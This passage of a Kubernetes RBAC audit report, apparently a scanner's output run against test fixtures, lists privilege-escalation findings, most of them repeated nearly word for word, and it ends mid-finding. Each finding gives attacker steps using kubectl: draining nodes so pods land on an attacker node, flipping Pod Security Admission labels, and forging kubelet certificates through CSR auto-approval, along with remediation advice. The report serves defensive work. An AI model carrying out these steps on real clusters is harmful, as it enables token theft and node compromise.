  2. They make every node except one they control refuse new pods: kubectl cordon <n> or kubectl taint node <n> ... with a nodes write, a NotReady condition written through nodes/status, or kubectl delete node <n>, depending on which node grant they hold.
  3. They remove a sensitive pod (kubectl delete pod <target>, or an eviction through pods/eviction), forcing its controller to recreate it.
  4. The scheduler places the replacement pod on the attacker-controlled node.
  5. They exec into / inspect the relocated pod from the node, harvesting its ServiceAccount token and any mounted secrets.
Remediation
Split pod removal from node-scheduling verbs across identities; reserve writes to nodes and nodes/status, and delete nodes, for the control plane, the kubelet, and the cluster-autoscaler.
  1. Remove update/patch on nodes and nodes/status, and delete on nodes, from application/operator identities. These belong to the kube-controller-manager, the kubelet, and the autoscaler.
  2. Restrict delete/deletecollection on pods and create on pods/eviction to controllers and platform automation; application identities should manage workloads through their owning controller, not by removing pods.
  3. Pin sensitive workloads to trusted nodes with nodeSelector/nodeAffinity + taints, so eviction cannot relocate them onto untrusted nodes.
  4. Verify with kubectl auth can-i update nodes/status --as=kustomize-controller -A returning no.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingdeepchain-flux-admin
Inspect: kubectl get clusterrolebinding deepchain-flux-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "deepchain-flux-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
HIGH ServiceAccount/foothold-exec/foothold-decoy-sa Cluster 10.0
Pod removal + node manipulation can migrate workloads onto an attacker node (ServiceAccount/foothold-exec/foothold-decoy-sa)
Scope · Cluster Cluster-wide: nodes and their scheduling are cluster-scoped resources
Category: Privilege Escalation Subject: ServiceAccount/foothold-exec/foothold-decoy-sa Resource: RBACRule/cluster-admin

Subject ServiceAccount/foothold-exec/foothold-decoy-sa can delete pods (via ClusterRoleBinding foothold-decoy-admin → ClusterRole cluster-admin) and also update nodes/status (via ClusterRoleBinding foothold-decoy-admin → ClusterRole cluster-admin). Cluster-wide: nodes and their scheduling are cluster-scoped resources.

Combined, these let an attacker steer where high-value pods run. On the node side, update/patch on nodes is what kubectl cordon (spec.unschedulable) and kubectl taint (spec.taints) send; a write to nodes/status can report a node NotReady, which makes the node lifecycle controller taint it until the kubelet reports again; and delete nodes removes a node outright. On the pod side, delete removes a pod, deletecollection removes every pod in scope at once, and create on pods/eviction evicts one through the Eviction API, which waits until the pod's PodDisruptionBudget allows it. Once the other nodes refuse new pods, the removed pods are rescheduled onto what is left. If the attacker controls (or can compromise) the remaining schedulable node, a sensitive pod (a controller, a pod with a privileged ServiceAccount, a pod that mounts secrets) lands where they can exec into it, read its mounted token, or sniff its traffic.

This is an indirect, scheduling-level escalation: neither verb reads a Secret or binds a role directly, but together they break the assumption that a workload stays on a trusted node. It is most dangerous in clusters with a mix of trusted and lower-trust nodes (spot/burst pools, tenant-dedicated nodes).

Impact Relocate sensitive pods onto a node the attacker controls by manipulating node scheduling and removing pods, then steal those pods' tokens or traffic from the node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMigrate pods onto an attacker node

A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

  1. Attacker confirms both halves with kubectl auth can-i delete pods --as=foothold-decoy-sa -A and kubectl auth can-i update nodes/status --as=foothold-decoy-sa -A.
  2. They make every node except one they control refuse new pods: kubectl cordon <n> or kubectl taint node <n> ... with a nodes write, a NotReady condition written through nodes/status, or kubectl delete node <n>, depending on which node grant they hold.
  3. They remove a sensitive pod (kubectl delete pod <target>, or an eviction through pods/eviction), forcing its controller to recreate it.
  4. The scheduler places the replacement pod on the attacker-controlled node.
  5. They exec into / inspect the relocated pod from the node, harvesting its ServiceAccount token and any mounted secrets.
Remediation
Split pod removal from node-scheduling verbs across identities; reserve writes to nodes and nodes/status, and delete nodes, for the control plane, the kubelet, and the cluster-autoscaler.
  1. Remove update/patch on nodes and nodes/status, and delete on nodes, from application/operator identities. These belong to the kube-controller-manager, the kubelet, and the autoscaler.
  2. Restrict delete/deletecollection on pods and create on pods/eviction to controllers and platform automation; application identities should manage workloads through their owning controller, not by removing pods.
  3. Pin sensitive workloads to trusted nodes with nodeSelector/nodeAffinity + taints, so eviction cannot relocate them onto untrusted nodes.
  4. Verify with kubectl auth can-i update nodes/status --as=foothold-decoy-sa -A returning no.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingfoothold-decoy-admin
Inspect: kubectl get clusterrolebinding foothold-decoy-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "foothold-decoy-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
HIGH ServiceAccount/privesc-fixtures/sa-node-migrate Cluster 10.0
Pod removal + node manipulation can migrate workloads onto an attacker node (ServiceAccount/privesc-fixtures/sa-node-migrate)
Scope · Cluster Cluster-wide: nodes and their scheduling are cluster-scoped resources
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-node-migrate Resource: RBACRule/cr-node-migrate

Subject ServiceAccount/privesc-fixtures/sa-node-migrate can delete pods (via ClusterRoleBinding crb-node-migrate → ClusterRole cr-node-migrate) and also update nodes/status (via ClusterRoleBinding crb-node-migrate → ClusterRole cr-node-migrate). Cluster-wide: nodes and their scheduling are cluster-scoped resources.

Combined, these let an attacker steer where high-value pods run. On the node side, update/patch on nodes is what kubectl cordon (spec.unschedulable) and kubectl taint (spec.taints) send; a write to nodes/status can report a node NotReady, which makes the node lifecycle controller taint it until the kubelet reports again; and delete nodes removes a node outright. On the pod side, delete removes a pod, deletecollection removes every pod in scope at once, and create on pods/eviction evicts one through the Eviction API, which waits until the pod's PodDisruptionBudget allows it. Once the other nodes refuse new pods, the removed pods are rescheduled onto what is left. If the attacker controls (or can compromise) the remaining schedulable node, a sensitive pod (a controller, a pod with a privileged ServiceAccount, a pod that mounts secrets) lands where they can exec into it, read its mounted token, or sniff its traffic.

This is an indirect, scheduling-level escalation: neither verb reads a Secret or binds a role directly, but together they break the assumption that a workload stays on a trusted node. It is most dangerous in clusters with a mix of trusted and lower-trust nodes (spot/burst pools, tenant-dedicated nodes).

Impact Relocate sensitive pods onto a node the attacker controls by manipulating node scheduling and removing pods, then steal those pods' tokens or traffic from the node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMigrate pods onto an attacker node

A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

  1. Attacker confirms both halves with kubectl auth can-i delete pods --as=sa-node-migrate -A and kubectl auth can-i update nodes/status --as=sa-node-migrate -A.
  2. They make every node except one they control refuse new pods: kubectl cordon <n> or kubectl taint node <n> ... with a nodes write, a NotReady condition written through nodes/status, or kubectl delete node <n>, depending on which node grant they hold.
  3. They remove a sensitive pod (kubectl delete pod <target>, or an eviction through pods/eviction), forcing its controller to recreate it.
  4. The scheduler places the replacement pod on the attacker-controlled node.
  5. They exec into / inspect the relocated pod from the node, harvesting its ServiceAccount token and any mounted secrets.
Remediation
Split pod removal from node-scheduling verbs across identities; reserve writes to nodes and nodes/status, and delete nodes, for the control plane, the kubelet, and the cluster-autoscaler.
  1. Remove update/patch on nodes and nodes/status, and delete on nodes, from application/operator identities. These belong to the kube-controller-manager, the kubelet, and the autoscaler.
  2. Restrict delete/deletecollection on pods and create on pods/eviction to controllers and platform automation; application identities should manage workloads through their owning controller, not by removing pods.
  3. Pin sensitive workloads to trusted nodes with nodeSelector/nodeAffinity + taints, so eviction cannot relocate them onto untrusted nodes.
  4. Verify with kubectl auth can-i update nodes/status --as=sa-node-migrate -A returning no.
Evidence
ScopeCluster
API groupscore/v1
Resourcesnodes/status
Verbsupdatepatch
update: Replace existing objects
patch: Mutate existing objects in place
Source rolecr-node-migrate
Inspect: kubectl get clusterrole cr-node-migrate -o yaml
Source bindingcrb-node-migrate
Inspect: kubectl get clusterrolebinding crb-node-migrate -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "nodes/status"
  ],
  "scope": "cluster",
  "source_binding": "crb-node-migrate",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-node-migrate",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "update",
    "patch"
  ]
}
HIGH ServiceAccount/rbac-fixtures/sa-cluster-admin Cluster 10.0
Pod removal + node manipulation can migrate workloads onto an attacker node (ServiceAccount/rbac-fixtures/sa-cluster-admin)
Scope · Cluster Cluster-wide: nodes and their scheduling are cluster-scoped resources
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-cluster-admin Resource: RBACRule/cluster-admin

Subject ServiceAccount/rbac-fixtures/sa-cluster-admin can delete pods (via ClusterRoleBinding crb-cluster-admin → ClusterRole cluster-admin) and also update nodes/status (via ClusterRoleBinding crb-cluster-admin → ClusterRole cluster-admin). Cluster-wide: nodes and their scheduling are cluster-scoped resources.

Combined, these let an attacker steer where high-value pods run. On the node side, update/patch on nodes is what kubectl cordon (spec.unschedulable) and kubectl taint (spec.taints) send; a write to nodes/status can report a node NotReady, which makes the node lifecycle controller taint it until the kubelet reports again; and delete nodes removes a node outright. On the pod side, delete removes a pod, deletecollection removes every pod in scope at once, and create on pods/eviction evicts one through the Eviction API, which waits until the pod's PodDisruptionBudget allows it. Once the other nodes refuse new pods, the removed pods are rescheduled onto what is left. If the attacker controls (or can compromise) the remaining schedulable node, a sensitive pod (a controller, a pod with a privileged ServiceAccount, a pod that mounts secrets) lands where they can exec into it, read its mounted token, or sniff its traffic.

This is an indirect, scheduling-level escalation: neither verb reads a Secret or binds a role directly, but together they break the assumption that a workload stays on a trusted node. It is most dangerous in clusters with a mix of trusted and lower-trust nodes (spot/burst pools, tenant-dedicated nodes).

Impact Relocate sensitive pods onto a node the attacker controls by manipulating node scheduling and removing pods, then steal those pods' tokens or traffic from the node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMigrate pods onto an attacker node

A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

  1. Attacker confirms both halves with kubectl auth can-i delete pods --as=sa-cluster-admin -A and kubectl auth can-i update nodes/status --as=sa-cluster-admin -A.
  2. They make every node except one they control refuse new pods: kubectl cordon <n> or kubectl taint node <n> ... with a nodes write, a NotReady condition written through nodes/status, or kubectl delete node <n>, depending on which node grant they hold.
  3. They remove a sensitive pod (kubectl delete pod <target>, or an eviction through pods/eviction), forcing its controller to recreate it.
  4. The scheduler places the replacement pod on the attacker-controlled node.
  5. They exec into / inspect the relocated pod from the node, harvesting its ServiceAccount token and any mounted secrets.
Remediation
Split pod removal from node-scheduling verbs across identities; reserve writes to nodes and nodes/status, and delete nodes, for the control plane, the kubelet, and the cluster-autoscaler.
  1. Remove update/patch on nodes and nodes/status, and delete on nodes, from application/operator identities. These belong to the kube-controller-manager, the kubelet, and the autoscaler.
  2. Restrict delete/deletecollection on pods and create on pods/eviction to controllers and platform automation; application identities should manage workloads through their owning controller, not by removing pods.
  3. Pin sensitive workloads to trusted nodes with nodeSelector/nodeAffinity + taints, so eviction cannot relocate them onto untrusted nodes.
  4. Verify with kubectl auth can-i update nodes/status --as=sa-cluster-admin -A returning no.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcrb-cluster-admin
Inspect: kubectl get clusterrolebinding crb-cluster-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "crb-cluster-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
HIGH ServiceAccount/rbac-fixtures/sa-wildcard Cluster 10.0
Pod removal + node manipulation can migrate workloads onto an attacker node (ServiceAccount/rbac-fixtures/sa-wildcard)
Scope · Cluster Cluster-wide: nodes and their scheduling are cluster-scoped resources
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-wildcard Resource: RBACRule/cr-wildcard

Subject ServiceAccount/rbac-fixtures/sa-wildcard can delete pods (via ClusterRoleBinding crb-wildcard → ClusterRole cr-wildcard) and also update nodes/status (via ClusterRoleBinding crb-wildcard → ClusterRole cr-wildcard). Cluster-wide: nodes and their scheduling are cluster-scoped resources.

Combined, these let an attacker steer where high-value pods run. On the node side, update/patch on nodes is what kubectl cordon (spec.unschedulable) and kubectl taint (spec.taints) send; a write to nodes/status can report a node NotReady, which makes the node lifecycle controller taint it until the kubelet reports again; and delete nodes removes a node outright. On the pod side, delete removes a pod, deletecollection removes every pod in scope at once, and create on pods/eviction evicts one through the Eviction API, which waits until the pod's PodDisruptionBudget allows it. Once the other nodes refuse new pods, the removed pods are rescheduled onto what is left. If the attacker controls (or can compromise) the remaining schedulable node, a sensitive pod (a controller, a pod with a privileged ServiceAccount, a pod that mounts secrets) lands where they can exec into it, read its mounted token, or sniff its traffic.

This is an indirect, scheduling-level escalation: neither verb reads a Secret or binds a role directly, but together they break the assumption that a workload stays on a trusted node. It is most dangerous in clusters with a mix of trusted and lower-trust nodes (spot/burst pools, tenant-dedicated nodes).

Impact Relocate sensitive pods onto a node the attacker controls by manipulating node scheduling and removing pods, then steal those pods' tokens or traffic from the node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMigrate pods onto an attacker node

A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

  1. Attacker confirms both halves with kubectl auth can-i delete pods --as=sa-wildcard -A and kubectl auth can-i update nodes/status --as=sa-wildcard -A.
  2. They make every node except one they control refuse new pods: kubectl cordon <n> or kubectl taint node <n> ... with a nodes write, a NotReady condition written through nodes/status, or kubectl delete node <n>, depending on which node grant they hold.
  3. They remove a sensitive pod (kubectl delete pod <target>, or an eviction through pods/eviction), forcing its controller to recreate it.
  4. The scheduler places the replacement pod on the attacker-controlled node.
  5. They exec into / inspect the relocated pod from the node, harvesting its ServiceAccount token and any mounted secrets.
Remediation
Split pod removal from node-scheduling verbs across identities; reserve writes to nodes and nodes/status, and delete nodes, for the control plane, the kubelet, and the cluster-autoscaler.
  1. Remove update/patch on nodes and nodes/status, and delete on nodes, from application/operator identities. These belong to the kube-controller-manager, the kubelet, and the autoscaler.
  2. Restrict delete/deletecollection on pods and create on pods/eviction to controllers and platform automation; application identities should manage workloads through their owning controller, not by removing pods.
  3. Pin sensitive workloads to trusted nodes with nodeSelector/nodeAffinity + taints, so eviction cannot relocate them onto untrusted nodes.
  4. Verify with kubectl auth can-i update nodes/status --as=sa-wildcard -A returning no.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecr-wildcard
Inspect: kubectl get clusterrole cr-wildcard -o yaml
Source bindingcrb-wildcard
Inspect: kubectl get clusterrolebinding crb-wildcard -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "crb-wildcard",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-wildcard",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
HIGH

Pod Security Admission label flip: ServiceAccount/psaflip-fixtures/psaflip-flipper can relabel psaflip-fixtures and run a privileged pod there

KUBE-PRIVESC-035 1 subject Score 10.0
MITRE ATT&CK: T1610T1611T1098T1078.004

Affected subject

HIGH ServiceAccount/psaflip-fixtures/psaflip-flipper Namespace 10.0
Pod Security Admission label flip: ServiceAccount/psaflip-fixtures/psaflip-flipper can relabel psaflip-fixtures and run a privileged pod there
Scope · Namespace Namespaces whose Pod Security Admission label the subject can rewrite and create pods in: psaflip-fixtures
Category: Privilege Escalation Subject: ServiceAccount/psaflip-fixtures/psaflip-flipper Resource: RBACRule/psaflip-fixtures/psaflip-namespace-and-pods

Subject ServiceAccount/psaflip-fixtures/psaflip-flipper can update/patch the Namespace object (via RoleBinding psaflip-fixtures/psaflip-namespace-and-pods → Role psaflip-fixtures/psaflip-namespace-and-pods) and create pods (via RoleBinding psaflip-fixtures/psaflip-namespace-and-pods → Role psaflip-fixtures/psaflip-namespace-and-pods) in psaflip-fixtures, where Pod Security Admission currently enforces baseline or restricted.

Pod Security Admission decides which standard to enforce by reading the pod-security.kubernetes.io/enforce label on the Namespace at admission time, and nothing in-tree protects that label: it is ordinary metadata, writable by anyone who can write the namespace. A subject holding both halves sets the label to privileged and the next pod it creates there, privileged or mounting the host root, is admitted. The PSA lockdown the operator relies on is one label write away from gone, and no pod-level control (securityContext, hostPath denial, host namespaces) applies any more.

Two things make this grant easy to miss. The namespace write is not part of the built-in admin or edit ClusterRoles, so it usually arrives through a custom role for namespace self-service tooling, a GitOps controller, or a quota/label operator. And Namespaces look like cluster-scoped objects a namespaced Role could never touch, but the API server treats /api/v1/namespaces/<ns> as a request in <ns>, so a RoleBinding inside the namespace authorizes patch namespaces on that namespace itself.

Both halves are load-bearing, which is why this finding requires them together: the label write alone changes nothing without a pod to admit, and a pod-create grant into a restricted namespace is bounded to token theft (KUBE-PRIVESC-001) until the label moves.

Impact Defeat Pod Security Admission in psaflip-fixtures with one label write, then run a privileged or host-mounting pod there and escape to the node, from a namespace the cluster's PSA posture reports as locked down.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniquePod Security Admission label flip

Pod Security Admission decides how strictly to vet pods in a namespace by reading the pod-security.kubernetes.io/enforce label on the Namespace object at admission time. That label is ordinary metadata: nothing in Kubernetes protects it, so anyone who can update or patch the namespace can set it to privileged and switch the lockdown off.

Alone the label write changes nothing. Paired with a way to create pods in that namespace, it lets the attacker land a privileged or host-mounting pod in a namespace the cluster's PSA posture reports as restricted, and escape to the node from there. The write grant is outside the built-in admin/edit roles, and a namespaced Role can carry it for its own namespace, because the API server treats /api/v1/namespaces/<ns> as a request inside <ns>.

  1. Attacker confirms both halves with kubectl auth can-i patch namespaces --as=psaflip-flipper -n psaflip-fixtures and kubectl auth can-i create pods --as=psaflip-flipper -n psaflip-fixtures.
  2. They set pod-security.kubernetes.io/enforce=privileged on psaflip-fixtures (a kubectl label namespace is a patch namespaces request). The API server accepts it as ordinary metadata.
  3. They create a pod there with privileged: true or a hostPath mount of the node root. Pod Security Admission now reads privileged and admits it.
  4. From that pod they are on the node, with every co-located pod's filesystem and projected ServiceAccount token, and the kubelet's credentials.
Remediation
Remove update/patch on namespaces from identities that are not cluster administrators; where a tool must write namespace metadata, add a ValidatingAdmissionPolicy that denies changes to pod-security.kubernetes.io/* labels.
  1. Drop update/patch on namespaces from ServiceAccount/psaflip-fixtures/psaflip-flipper. Label and quota tooling rarely needs the whole Namespace object; prefer giving it the specific objects it manages.
  2. Audit who else holds it, including through namespaced Roles: kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]? | (.resources // [] | index("namespaces")) and ((.verbs // []) | map(. == "update" or . == "patch" or . == "*") | any)) | "\(.kind) \(.metadata.namespace // "-")/\(.metadata.name)"'.
  3. Add a ValidatingAdmissionPolicy on namespaces UPDATE that denies the request when any pod-security.kubernetes.io/ label differs between object.metadata.labels and oldObject.metadata.labels, with an exception only for the platform team's identity. This keeps the PSA posture stable even if a write grant slips back in.
  4. Set the cluster-wide PSA default in the AdmissionConfiguration (defaults.enforce: baseline or restricted) so a removed label does not fall back to privileged, and keep the exemptions.namespaces list to the system namespaces.
  5. Verify with kubectl auth can-i patch namespaces --as=psaflip-flipper -n psaflip-fixtures returning no.
Evidence
ScopeNamespace
Namespacepsaflip-fixtures
API groupscore/v1
Resourcesnamespaces
Verbsgetpatch
patch: Mutate existing objects in place
Source rolepsaflip-namespace-and-pods
Inspect: kubectl get role psaflip-namespace-and-pods -n psaflip-fixtures -o yaml
Source bindingpsaflip-namespace-and-pods
Inspect: kubectl get rolebinding psaflip-namespace-and-pods -n psaflip-fixtures -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "psaflip-fixtures",
  "resource_names": null,
  "resources": [
    "namespaces"
  ],
  "scope": "namespace",
  "source_binding": "psaflip-namespace-and-pods",
  "source_binding_kind": "RoleBinding",
  "source_role": "psaflip-namespace-and-pods",
  "source_role_kind": "Role",
  "verbs": [
    "get",
    "patch"
  ]
}
HIGH

create certificatesigningrequests/nodeclient lets ServiceAccount/nodeid-fixtures/nodeid-joiner obtain an auto-approved kubelet identity for any node

KUBE-PRIVESC-037 1 subject Score 9.8
MITRE ATT&CK: T1078.004T1098T1552.007

Affected subject

HIGH ServiceAccount/nodeid-fixtures/nodeid-joiner Cluster 9.8
create certificatesigningrequests/nodeclient lets ServiceAccount/nodeid-fixtures/nodeid-joiner obtain an auto-approved kubelet identity for any node
Scope · Cluster Cluster-wide: the certificate names any node, and the Node authorizer grants that node's pod credentials
Category: Privilege Escalation Subject: ServiceAccount/nodeid-fixtures/nodeid-joiner Resource: RBACRule/cr-nodeid-joiner

Subject ServiceAccount/nodeid-fixtures/nodeid-joiner can create certificatesigningrequests via ClusterRoleBinding crb-nodeid-joiner → ClusterRole cr-nodeid-joiner and create certificatesigningrequests/nodeclient via ClusterRoleBinding crb-nodeid-joiner → ClusterRole cr-nodeid-joiner.

The controller manager's CSR approving controller auto-approves a CSR for the kubernetes.io/kube-apiserver-client-kubelet signer when it names system:node:<name> in system:nodes and a SubjectAccessReview says the requester may create certificatesigningrequests/nodeclient. It does not compare the node name to the requester, nor check that the node exists. The holder of both grants therefore gets a signed kubelet client certificate for any node name it writes into the CSR, with no human approval.

The Node authorizer then grants that identity every Secret, ConfigMap, and PersistentVolumeClaim referenced by a pod bound to the named node, and a TokenRequest for the ServiceAccount of any such pod. Across node names that is every pod credential in the cluster. kubeadm binds this pair to system:bootstrappers:kubeadm:default-node-token, which is the designed use; any other holder is a copy of the bootstrap privilege.

Impact A kubelet client certificate for any node name, which the Node authorizer turns into the ServiceAccount tokens and referenced Secrets of every pod on that node. The privesc graph reports the resulting path as KUBE-PRIVESC-PATH-NODE-IDENTITY.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueKubelet CSR auto-approval: a node identity for any name

Kubelets get their client certificates by submitting a CertificateSigningRequest that names system:node:<name> in the group system:nodes. The controller manager approves such a request by itself when a SubjectAccessReview says the requester may create certificatesigningrequests/nodeclient. It does not compare the node name to the requester, nor check that the node exists.

Whoever holds that subresource together with create certificatesigningrequests therefore gets a signed kubelet identity for any node name, and the Node authorizer grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node. kubeadm binds the pair to its bootstrap group, which is the designed use.

  1. Attacker confirms the pair with kubectl auth can-i create certificatesigningrequests --as=nodeid-joiner -A and kubectl auth can-i create certificatesigningrequests/nodeclient --as=nodeid-joiner -A.
  2. They list nodes (or guess a name) and submit a kubelet client CSR for system:node:<node>; the controller manager approves and signs it within seconds.
  3. With the certificate they request tokens for the ServiceAccounts of that node's pods and read the Secrets those pods reference, then repeat for a control-plane node to reach kube-system's controllers.
Remediation
Remove create certificatesigningrequests/nodeclient from every identity other than the kubeadm bootstrap group, and alert on kubelet client CSRs whose requester is not a bootstrap token or the node itself.
  1. Drop create on certificatesigningrequests/nodeclient from ServiceAccount/nodeid-fixtures/nodeid-joiner.
  2. Audit the binding set: kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name == "system:certificates.k8s.io:certificatesigningrequests:nodeclient") | .subjects[]? | "\(.kind) \(.name)"'. Expect only Group system:bootstrappers:kubeadm:default-node-token.
  3. Alert on CSRs for kubernetes.io/kube-apiserver-client-kubelet whose spec.username is not system:bootstrap:* or system:node:*, and on approved CSRs naming a node that is not in kubectl get nodes.
  4. Verify with kubectl auth can-i create certificatesigningrequests/nodeclient --as=nodeid-joiner -A returning no.
Evidence
ScopeCluster
API groupscertificates.k8s.io
certificates.k8s.io: Issues cluster-trusted certificates
Resourcescertificatesigningrequests/nodeclient
Verbscreate
create: Create new objects of this resource
Source rolecr-nodeid-joiner
Inspect: kubectl get clusterrole cr-nodeid-joiner -o yaml
Source bindingcrb-nodeid-joiner
Inspect: kubectl get clusterrolebinding crb-nodeid-joiner -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "certificates.k8s.io"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "certificatesigningrequests/nodeclient"
  ],
  "scope": "cluster",
  "source_binding": "crb-nodeid-joiner",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-nodeid-joiner",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create"
  ]
}
HIGH

Secret write reaching kube-system lets ServiceAccount/privesc-fixtures/sa-secret-mint mint a bootstrap token, and with it a kubelet identity for any node

KUBE-PRIVESC-026 1 subject Score 9.5
MITRE ATT&CK: T1078.004T1098T1552.007

Affected subject

HIGH ServiceAccount/privesc-fixtures/sa-secret-mint Cluster 9.5
Secret write reaching kube-system lets ServiceAccount/privesc-fixtures/sa-secret-mint mint a bootstrap token, and with it a kubelet identity for any node
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-secret-mint Resource: RBACRule/cr-secret-mint

